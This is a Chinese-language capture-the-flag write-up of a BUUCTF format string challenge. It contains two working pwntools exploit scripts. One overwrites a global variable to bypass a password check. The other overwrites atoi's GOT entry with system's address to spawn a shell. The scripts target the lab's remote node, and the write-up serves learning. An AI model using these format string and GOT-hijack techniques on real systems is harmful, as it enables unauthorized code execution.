小白垃圾做题笔记而已,不建议阅读。
简书上的大佬有三种解题思路,而我刚开始一种也不会,看了题解后才勉强有了两种。
1.第一种算绕过if吧。
更改dword_804C044中的内容,第二次输出相同的内容,从而绕过if
脚本如下:
# -*- coding: utf-8 -*-
from pwn import *
debug=0
if debug:
p=process("./pwn")
#p=process('',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
pause()
# gdb.attach(p)
else:
p=remote('node4.buuoj.cn',27519)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
payload=p32(0x0804C044)+p32(0x0804C044+1)+p32(0x0804C044+2)+p32(0x0804C044+3)
payload+='%10$hhn%11$hhn%12$hhn%13$hhn' #hhn是一个字节一个字节更改内容,为什么是四个呢?因为代码中是向dword_804C044中读入了四个字节 read(fd, &dword_804C044, 4u);
ru('name:')
se(payload)
ru('passwd:')
se(str(0x10101010)) #str函数的意思是将整数转换成字符串。因为printf()是将字符串直接复制打印的。如果直接send数字不行。
p.interactive()
2.方法二是通过格式化字符串漏洞更改got表地址
改后:
atoi函数的got表中存放的地址为sysem函数的plt表表地址。这样执行atoi函数的时候过程我猜是这样的:
先去atoi的plt表,然后plt表对应的got地址被我们改成system的plt表的地址了。system是第一次被执行,他首先去system的plt表,这个时候对应的got表里存放的是system的下一跳地址,他会去寻找system的地址,并且执行system。
所以程序本来想执行atoi的但是却被我们劫持为system了。而第二次输入的时候,输入的是nptr,而nptr又正好是atoi的参数,那么被我们劫持后看似执行atoi,实际执行的是system,参数也是system的参数,这个时候我们输入/bin/sh\00
就会攻击成功。
pwntools中本来是有脚本来获取got表地址的,但是可能是版本原因。没有办法,恰好这道题中又system地址,我直接将atoi的got表的地址换成system地址了。
fmtstr_payload是一个很不错的函数,他的第一个参数是偏移,就是我们输入的地址在栈中对应的偏移,对于{}里的内容第一个是要改的地址,操作及结果就是改这个地址中的内容。而第三个参数是将地址中的内容改为啥。我这里由于版本问题直接写了ida中system的地址。
from pwn import *
#p=process('./pwn')
p=remote('node4.buuoj.cn',25259)
elf=ELF('./pwn')
pause()
atoi_got=elf.got['atoi']
#print(elf.symbols['system'])
system_plt=elf.symbols['system']
#system_plt=elf.plt["system"]
#printf_got=elf.got['printf']
payload=fmtstr_payload(10,{atoi_got:0x0804932F})
p.recvuntil('name:')
p.sendline(payload)
#p.recvuntil('d:')
#p.sendline('/bin/sh\x00')
p.interactive()
#AAAA%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
~
~
~
~
~
got和plt
而plt表的下一跳就是got表,由于版本原因,并没有将atoi got表的地址改为system的got表,但是也是可以执行system的,因为我直接将他改为system在ida中的地址了。他会跳转到第一次执行system的位置。
更改前:
更改后:
发现是把got表对那个的内容给改掉了。改成后边的数据了。